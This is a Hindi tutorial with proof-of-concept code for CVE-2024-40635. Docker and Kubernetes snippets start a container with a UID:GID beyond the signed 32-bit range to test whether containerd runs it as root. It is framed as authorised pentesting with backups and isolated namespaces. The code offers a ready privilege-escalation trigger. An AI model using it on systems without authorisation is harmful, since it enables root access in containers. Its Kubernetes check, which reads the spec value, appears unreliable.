
CVE-2024-40635 भेद्यता को साबित करने के लिए प्रूफ ऑफ कॉन्सेप्ट कोड
CVE-2024-40635 भेद्यता को सिद्ध करने के लिए प्रूफ ऑफ कॉन्सेप्ट (PoC) कोड डेटा यहाँ से लिया गया: https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
यह Python docker लाइब्रेरी को आयात करता है, जो Docker के API के माध्यम से Docker के साथ इंटरैक्शन की अनुमति देता है। यदि यह लाइब्रेरी स्थापित नहीं है, तो आप इसे निम्न कमांड चलाकर जोड़ सकते हैं:
pip install docker
client = docker.from_env()
यहाँ, हम docker.from_env() विधि का उपयोग करके एक Docker क्लाइंट ऑब्जेक्ट बनाते हैं। यह आपकी मशीन (या, यदि कॉन्फ़िगर किया गया हो, तो रिमोट होस्ट) पर चल रहे Docker डेमन से कनेक्ट होता है।
def is_system_vulnerable(container):
try:
# Inspect container details
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Print the UID:GID
if uid_gid == "0:0": # Root UID:GID
return True
return False
except Exception as e:
print(f"Error checking container details: {e}")
return False
उद्देश्य: यह फ़ंक्शन बनाए गए कंटेनर की विशेषताओं का निरीक्षण करके यह जाँचता है कि सिस्टम भेद्य है या नहीं।
मुख्य चरण:
container.attrs: कंटेनर के बारे में सभी मेटाडेटा लाता है (कॉन्फ़िगरेशन, रनटाइम सेटिंग्स, आदि)।
details['Config']['User']: उस UID:GID (उपयोगकर्ता और समूह ID) को निकालता है जिसके अंतर्गत कंटेनर चलता है। यह वह प्रॉपर्टी है जिसे हम परीक्षण कर रहे हैं।
print(f"Container UID:GID = {uid_gid}"): दृश्यता के लिए हमेशा UID:GID प्रिंट करता है।
भेद्यता जाँच: यदि UID:GID "0:0" है, तो यह दर्शाता है कि कंटेनर रूट विशेषाधिकारों के साथ चल रहा है, और सिस्टम भेद्य है।
container = client.containers.run(
"vulnerable-image", # Replace with your test image
user="2147483648:2147483648", # UID:GID exceeding 32-bit signed integer
detach=True
)
client.containers.run: यह एक Docker कंटेनर बनाता है और प्रारंभ करता है।
"vulnerable-image": इसे परीक्षण के लिए उपयुक्त वास्तविक Docker इमेज के नाम से बदलें।
user="2147483648:2147483648": यहाँ, हम एक कस्टम उपयोगकर्ता और समूह ID (UID:GID) सेट करते हैं। ये मान 32-बिट साइन्ड पूर्णांक सीमा से अधिक हैं, जो भेद्यता के लिए ट्रिगर स्थिति है।
detach=True: यह सुनिश्चित करता है कि कंटेनर पृष्ठभूमि में चले, जिससे स्क्रिप्ट कंटेनर के निष्पादन समाप्त होने की प्रतीक्षा किए बिना आगे बढ़ सके।
try:
...
except Exception as e:
print(f"Error: {e}")
यह try-except ब्लॉक सुनिश्चित करता है कि कंटेनर निर्माण या निष्पादन के दौरान कोई भी त्रुटि पकड़ी और प्रिंट की जाए, जिससे स्क्रिप्ट की अचानक समाप्ति से बचा जा सके।
print(f"Container {container.id} started.")
कंटेनर सफलतापूर्वक बनने और प्रारंभ होने के बाद, संदर्भ के लिए इसका अद्वितीय ID प्रिंट किया जाता है। यह डिबगिंग या कंटेनर का और निरीक्षण करने में उपयोगी है।
if is_system_vulnerable(container):
print("System is vulnerable: Container is running as root!")
else:
print("System is not vulnerable.")
यह is_system_vulnerable function को कॉल करता है, और बनाए गए कंटेनर को एक तर्क के रूप में पास करता है। परिणाम के आधार पर (भेद्य होने पर True, भेद्य न होने पर False), यह संबंधित संदेश प्रिंट करता है।
The script is designed to provide detailed information in its output, including:
कंटेनर को सौंपा गया UID:GID।
स्पष्ट संकेत कि सिस्टम भेद्य है या नहीं।
कल्पना करें कि यह स्क्रिप्ट एक परीक्षण वातावरण में चलाई गई है, और निम्नलिखित होता है:
2147483648:2147483648 के साथ बनाया जाता है।0:0 (रूट) के रूप में व्याख्या करता है, जिससे कंटेनर रूट विशेषाधिकारों के साथ चलता है।Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!
वैकल्पिक रूप से, यदि सिस्टम बड़े UID:GID मानों को सही ढंग से संभालता है और उन्हें रूट में मैप नहीं करता है, तो आप देख सकते हैं:
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.
"vulnerable-image" को अपने परीक्षण परिदृश्य के अनुकूल Docker इमेज से बदलें (जैसे, न्यूनतम निर्भरता वाली इमेज)।इस प्रूफ ऑफ कॉन्सेप्ट (PoC) को Kubernetes और Harbor जैसे लाइव वातावरण में पेंटेस्टिंग के लिए चलाने में सावधानीपूर्वक योजना शामिल है ताकि यह सुनिश्चित किया जा सके कि परीक्षण नियंत्रित, नैतिक और प्रभावशाली है। यहाँ इसके संचालन का विवरण दिया गया है:
1. योजना बनाएं और तैयारी करें दायरा समझें: अपने परीक्षण की सीमाएं परिभाषित करें। सुनिश्चित करें कि आपके पास लाइव वातावरण में पेंटेस्टिंग करने की स्पष्ट अनुमति है।
2. बैकअप: महत्वपूर्ण सिस्टम और कंटेनर के बैकअप बनाएं, यदि परीक्षण उनकी उपलब्धता या डेटा को प्रभावित करता है।
3 परीक्षण वातावरण: उत्पादन वर्कलोड को प्रभावित करने से बचने के लिए Kubernetes के भीतर इस PoC के लिए समर्पित एक अलग नेमस्पेस या क्लस्टर स्थापित करें।
अपने Kubernetes क्लस्टर के भीतर containerd के भेद्य संस्करण (v1.6.35-gke.0) का उपयोग करके एक कंटेनर तैनात करें।
हमले की सतह को छोटा रखने के लिए न्यूनतम निर्भरता वाली Docker इमेज (जैसे, "vulnerable-image") का उपयोग करें।
Kubernetes तैनाती के लिए उदाहरण YAML:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # Replace with your test image
securityContext:
runAsUser: 2147483648 # Intentionally exceed 32-bit signed integer
runAsGroup: 2147483648
YAML को इसके साथ लागू करें:
kubectl apply -f pod.yml
b. PoC के साथ सत्यापित करें
उस मशीन से विकसित Python स्क्रिप्ट चलाएं जिसके पास Kubernetes क्लस्टर तक पहुंच है। उदाहरण के लिए, आप kubernetes Python लाइब्रेरी का उपयोग करके Kubernetes के साथ इंटरैक्ट करने के लिए स्क्रिप्ट को संशोधित कर सकते हैं।
इसे इसके साथ स्थापित करें:
pip install kubernetes
Kubernetes को एकीकृत करने के लिए एक अद्यतन स्निपेट यहाँ है:
from kubernetes import client, config
# Load Kubernetes configuration
config.load_kube_config()
# Create a Kubernetes API client
v1 = client.CoreV1Api()
# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("System is vulnerable: Pod is running as root!")
else:
print("System is not vulnerable.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
Harbor आपको इमेज एक्सेस नियंत्रित करने की अनुमति देता है, इसलिए एक्सेस को प्रतिबंधित करें ताकि यह सुनिश्चित हो सके कि भेद्य इमेज केवल पेंटेस्टिंग में उपयोग की जाए।